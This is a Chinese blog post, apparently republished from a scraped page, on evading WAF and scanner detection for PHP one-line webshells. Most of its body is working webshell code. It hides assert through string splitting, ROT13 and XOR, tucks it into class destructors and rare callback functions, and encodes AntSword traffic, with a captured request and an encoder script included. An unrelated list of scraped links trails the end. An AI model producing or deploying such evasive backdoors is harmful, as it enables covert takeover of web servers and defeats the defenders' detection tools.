文章最后更新时间为:2019年07月05日 00:17:52

一句话木马叱咤江湖这么多年还是如此活跃,我个人理解是,方便,相比于二进制后门或者大马,一句话木马足够短,容易上传,并且有众多客户端,菜刀,Cknife,蚁剑,对于脚本小子来说,一句话木马大大降低了渗透的门槛。

但是一句话木马,已经不能适应现在的局势了,如今各大服务器纷纷装上了waf,一句话木马一旦被检测出来,一是会封ip,二是会发出报警信息,引起对方的警觉。

本文就来简单探讨一下php一句话木马的免杀,包括静态免杀和动态免杀。

1.静态免杀

php木马的静态免杀是很容易的,静态免杀基本是通过各种加密或者移位亦或等方式来隐藏关键词。下面以很常见的一句话木马举例:<?php @assert($_POST['x']);?>

1.1 隐藏关键字

waf检测到assert这个关键词,很大概率会被检测出来,那么我们可以尝试用别的词来生成,具体的生成方式有很多种,这里列举一下常见的几种方式,其实效果都差不多。拆解合并<?php

$ch = explode(".","hello.ass.world.er.t");

$c = $ch[1].$ch[3].$ch[4]; //assert

$c($_POST['x']);

?>

目前来说,这种方式已经很难奏效了。利用各种函数、编码

比如对套上一层ROT13编码$c=str_rot13('n!ff!re!nffreg');

$str=explode('!',$c)[3];

还有很多加解密方式,利用各种函数如array_map、array_key、preg_replace来隐藏关键字,这里就不多说了。随机亦或产生

这里可以参考 https://github.com/yzddmr6/webshell-venom,想法也很简单,就是利用了php的亦或来生成所需要的字母。比如

"Y"^"\x38"的结果就是a,同样的生成assert即可。$_StL="Y"^"\x38";

$_ENr="T"^"\x27";

$_ohw="^"^"\x2d";

$_gpN="~"^"\x1b";

$_fyR="g"^"\x15";

$_pAs="H"^"\x3c";

$c=$_StL.$_ENr.$_ohw.$_gpN.$_fyR.$_pAs;

上面讲了三种隐藏关键字的方式,作用大同小异,个人来说较推荐随机亦或的方式,有脚本在,也方便许多。

1.2 将关键操作隐藏在各种类、函数中

其实主要的目的还是做混淆。比如下面这个一句话木马:<?php

$ch = explode(".","hello.ass.world.er.rt.e.saucerman");

$c = $ch[1].$ch[5].$ch[4]; //assert

@$c($_POST['x']);

?>

在用D盾进行扫描时,还是很容易被检测出来。

我们可以把他隐藏在类中:<?php

class Test{

public $config='';

function __destruct(){

$ch = explode(".","hello.ass.world.er.rt.e.saucerman");

$c = $ch[1].$ch[5].$ch[4];

@$c($this->config);

}

}

$test=new Test();

@$test->config=$_POST['x'];

?>

试试D盾:

变成了二级可疑,虽然没有完全奏效,但是还是有所混淆这里的原因主要还是检测出了assert关键字,其实采用稍微复杂的方式来生成assert就可以了,这里偷懒就不做了。

1.3 使用冷门回调函数

像eval,assert的关键字作为函数名称很显然是要受waf重点照顾的,但是作为世界上最好的语言,php也不可能就这点函数,还有很多冷门的回调函数,虽然开发没什么人用,但作为后门还是很好的。

比如:<?php

$password = "LandGrey";

array_udiff_assoc(array($_REQUEST[$password]), array(1), "assert");

?>

这部分函数我也没仔细找过,有兴趣的可以网上找一下,只需要有调用其他函数的功能即可。这里放一个我曾经写过的一个小马,利用了array_uintersect_uassoc函数来回调assert,并且也相应做了亦或处理来隐藏关键字,目测是不会被检测出来的。<?php

function myfunction_key($a,$b){

if ($a===$b){

return 0;

}

return ($a>$b)?1:-1;

}

class rtHjmCdS{

public $fHfoj;

public $fDaGv;

public $HgAjSd;

function __construct(){

$_xlr="J"^"\x2b";

$_Nbv="V"^"\x25";

$_cfh="T"^"\x27";

$_PdK="I"^"\x2c";

$_zJQ="+"^"\x59";

$_RgD="="^"\x49";

$this->fDaGv=$_xlr.$_Nbv.$_cfh.$_PdK.$_zJQ.$_RgD;

$_fLd="a"^"\x0";

$_wOK="j"^"\x18";

$_tAH="U"^"\x27";

$_HeV="J"^"\x2b";

$_cyo="-"^"\x54";

$_iSW="F"^"\x19";

$_jYS="/"^"\x5a";

$_BFt="h"^"\x1";

$_TRn="p"^"\x1e";

$_izx="k"^"\x1f";

$_gMz="X"^"\x3d";

$_TNu="

$_UiE="v"^"\x5";

$_iHI="q"^"\x14";

$_LIK="m"^"\xe";

$_Yey="Z"^"\x2e";

$_lMr="="^"\x62";

$_WOI="+"^"\x5e";

$_FQy="u"^"\x14";

$_sjC="d"^"\x17";

$_mOr=">"^"\x4d";

$_Txf="*"^"\x45";

$_PmW="O"^"\x2c";

$this->HgAjSd=$_fLd.$_wOK.$_tAH.$_HeV.$_cyo.$_iSW.$_jYS.$_BFt.$_TRn.$_izx.$_gMz.$_TNu.$_UiE.$_iHI.$_LIK.$_Yey.$_lMr.$_WOI.$_FQy.$_sjC.$_mOr.$_Txf.$_PmW;

}

function __destruct(){

$Hfdag = $this->HgAjSd; //'array_uintersect_uassoc'

$fdJfd = $this->fDaGv; // 'assert'

//array_uintersect_uassoc(array($_POST[k]),array(''),'assert','strstr');

@$Hfdag(array($this->fHfoj),array(''),$fdJfd,'myfunction_key');

}

}

$jfnp=new rtHjmCdS();

@$jfnp->fHfoj=$_REQUEST['css'];

?>

到这里静态免杀基本就介绍完了,总结一下:使用冷门函数

尽量避免使用敏感关键字,可以用各种方式生成

将关键代码混淆在类、函数里

2. 动态免杀

静态免杀相对来是很容易的,方法也多种多样,但是很显然不管怎么变化,最终都会回到一个最终的函数调用:eval("xxxx")

而现在的waf都会基于流量检测,我们的木马返回包和发送包都有明显的特征,这样的木马基本逃不过动态检测。

下面以蚁剑为例,看下怎么绕过流量的动态监测。

首先我们使用稍微混淆过的木马:<?php

class Test{

public $name = '';

function __destruct(){

@eval("$this->name");

}

}

$test= new Test();

$c = @$_POST['css'];

$test->name = $c;

?>

在蚁剑添加木马后,我们用burp来抓第一个请求包来看它发了什么内容:POST /a.php HTTP/1.1

Host: 192.168.129.128:80

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Content-Length: 985

Connection: close

css=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22ae2ea%22%3Becho%20%40asenc(%24output)%3Becho%20%22348cb%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B

解个码:@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "ae2ea";echo @asenc($output);echo "348cb";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

可以看出这个包就是获取当前目录信息和用户的信息。

请求包中出现了很多明显的关键字,如果我们想要混淆应该怎么做呢?下面介绍几种常见的方式。

2.1 利用代理中转流量过waf

我们可以使用代理拦截菜刀的包,然后对其进行一些编码解码措施。其原理如下:

注:上图来自https://xz.aliyun.com/t/2739

原理也很简单,我们只需要修改一句话木马的内容为:<?php

class Test{

public $name = '';

function __destruct(){

@eval("$this->name");

}

}

$test= new Test();

$c = base64_decode(@$_POST['css']);

// 修改的地方就是上面这行,对参数进行解码之后再执行

$test->name = $c;

?>

然后我们只需要编写一个中间人代理脚本(如果有能力写扩展,直接用burpsuite就行了),将请求流量包中的css字段进行base64编码,这样的话请求包中就不会有明显的关键字了。

但是如果base64加解密太明显,还是容易被发现怎么办?aes、des等各种加密方式那么多,只要在一句话木马中写出解码的函数,加密想怎么来怎么来。

如果对相应包也进行了检测,怎么办?有请求包的加密解密,就可以有相应包的加解密啊,同样的,可以在一句话中对结果进行加密后再传输,在流量通过代理的时候进行解密即可。

2.2 使用蚁剑自带的编码

中国菜刀客户端已经有很多年不更新了,好用还是依旧好用,但是新的功能没有就很难受了,相比来说蚁剑客户端的可扩展性强多了,其实蚁剑自带编码功能,稍微改进一下,就可以绕过大部分waf检测了。

其原理和中转流量基本类似,只是在客户端就集成了对流量进行加解密的功能。比如在上面的一句话木马中,我们需要在中转代理处对参数进行base64编码,用蚁剑的话,我们只需要写一个编码脚本即可:/**

* php::b64pass编码器

* Create at: 2018/10/11 21:40:45

*

* 把所有 POST 参数都进行了 base64 编码

*

* 适用shell:

*

* <?php @eval(base64_decode($_POST['ant']));?>

*

*/

'use strict';

module.exports = (pwd, data) => {

let randomID = `_0x${Math.random().toString(16).substr(2)}`;

data[randomID] = new Buffer(data['_']).toString('base64');

data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');

delete data['_'];

return data;

}

为了加点混淆,还可以加点动态的东西,比如随机生成一定长度的字符串加在前后,在一句话木马解码之前先去掉这些字符串。或者搞点密钥加进去,基本混淆的很难检测出来。

2.3 动态二进制加密-冰蝎

原理其实类似,客户端对流量进行加密然后传输--> 服务器端对流量进行解密再执行。在这样一个过程中,冰蝎通过生成一个随机的密钥来保证加密的可靠性。其中和上面的方法不同的是传递的流量是二进制字节,服务端的木马对流量进行解密之后,执行二进制字节码,这样的话静态免杀基本上也一并做了。

实现原理并不复杂,但是思路还是很好的思路

综上几种动态免杀的方式,都需要对一句话进行修改,其实改动并不多,只要写一个稍微复杂点的加解密函数,就够用很久了。

需要注意的是,这里提到的动态免杀,针对的是流量检测,如果是那种基于行为的动态检测,那估计大伙都得哭了。

关于php免杀就写这么多,因为是之前琢磨过的东西拿出来写一写,没有当时实验的图,也没有安装各种waf再进行实操一遍,这篇也就仅聊下思路,感兴趣的可以认真看一下下面的参考文章。

参考

科迅免杀php一句话_谈谈php一句话木马的免杀相关推荐

  1. mysql5.7.12免安装版配置_【MySql学习笔记】免安装版5.7.12 windows配置方法

    一.下载mysql http://dev.mysql.com/downloads/mysql/ 建议用迅雷下载非常快,官方链接直接本地下载则特别慢 我下载的是Windows (x86, 64-bit) ...

  2. 暗组免杀php,那些强悍的PHP一句话后门

    以一个学习的心态来对待PHP后门程序,很多PHP后门代码让我们看到程序员们是多么的用心良苦. 这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法 ...

  3. 新硬盘显示有储存空间但无法分区_容量更足高速无忧,奥睿科迅龙V500 NVME硬盘体验...

    经济宽松的时候总会想要折腾折腾各种电子设备啥的,特别是对笔记本,电脑啥的总想着升级升级,拥有更宽松的储存容量,用来安装更多的游戏,下载更精彩的视频,或者是从网上搜集搜集更多电纸书籍用于自己充电或者教育 ...

  4. Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结...

    Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结 1. ,免杀技术的用途2 1.1. 病毒木马的编写2 1.2. 软件保护所用的加密产品(比如壳)中,有 ...

  5. 对于脚本木马的免杀(特别针对安全狗的V3.0)的经验副过狗菜刀

    关于脚本木马的免杀(针对安全狗的V3.0)经验 安全狗3.0默认忽略大于1048576字节即1M的文件(如图). 至于怎么把木马弄成大于1M,你应该懂的. 另外,脚本文件只是在初次请求时进行编译,如果 ...

  6. 一句话突破上传限制一句话_一句话的基础

    一句话突破上传限制一句话 Tanesh balodi Tanesh balodi Follow 跟随 Jun 11 6月11 The Bag-of-words model is a method of ...

  7. 【可救砖】CM211-1/201-1等S905L3(B)_安卓9-通刷极致精简免拆语音-线刷固件及教程202208

    [语音版]CM211-1/201-1等S905L3(B)_安卓9-通刷极致精简免拆语音-线刷固件及教程!本固件为安卓9.0版本的线刷刷机包,可救砖!理论上可通刷680LC,M304A,M302A,IP ...

  8. APT之木马静态免杀

    前言 这篇文章主要是记录手动编写代码进行木马免杀,使用工具也可以免杀,只不过太脚本小子了,而且工具的特征也容易被杀软抓到,指不定哪天就用不了了,所以要学一下手动去免杀木马,也方便以后开发一个只属于自己 ...

  9. 【黑客免杀攻防】读书笔记1 - 初级免杀基础理论(反病毒软件特征码提取介绍、免杀原理、壳)...

    在52pojie发表<xxxx>病毒查杀的帖子后,感谢论坛里的会员GleamJ牛不但指出我文章后所添加服务名字符串作为特征码方式的不足,还分享了他工作中4种提取特征码的方法.让我更加觉得要 ...

最新文章

  1. Mysql无法选取非聚合列
  2. directshow+opencv显示usb的摄像头代码(并保存视频中的图片)
  3. THE QUESTIONS :The Top 25 (what we don't know?)
  4. Python idle下载、安装与使用教程
  5. ns-allinone错误锦囊
  6. ubuntu设置自启动服务程序
  7. 编译原理(四)之解析语言翻译成三地址代码
  8. 分布式锁(基于redis和zookeeper)详解
  9. 漫步最优化十三——驻点
  10. 字典排序什么意思_列表及字典的排序
  11. 机器学习入门(二):工具与框架的选择
  12. PPT幻灯片放映计时器
  13. Java生成随机数的几种方式
  14. 一些好用的免费的截屏、GIF制作的PC端小工具
  15. P1069 细胞分裂
  16. electron打包时报错could not find: “C:\Users\xxxx\AppData\Local\Temp\t-OLh5E0\0-messages.nsh“
  17. Redis的客户端Jedis
  18. PyCharm 字母大小写切换
  19. vue vuex和pinia(菠萝)的区别
  20. 词法分析扫描器的设计实现

热门文章

  1. Python for Android最简单详细的,最手把手的教程 之第一节安装
  2. linux桌面的文件夹,桌面应用|在 Ubuntu 桌面中使用文件和文件夹
  3. HarmonyOS实战—原子化服务初尝试
  4. 进阶课程㊳丨Apollo平台的快速入门
  5. 【毕业设计】Python_学生校园消费行为
  6. Prometheus报错Error refreshing service Unexpected response code: 503解决办法
  7. DTCLOUD亿智云
  8. oracle如何开启归档模式
  9. Log4J配置 category appender layout
  10. windows暗黑技能3篇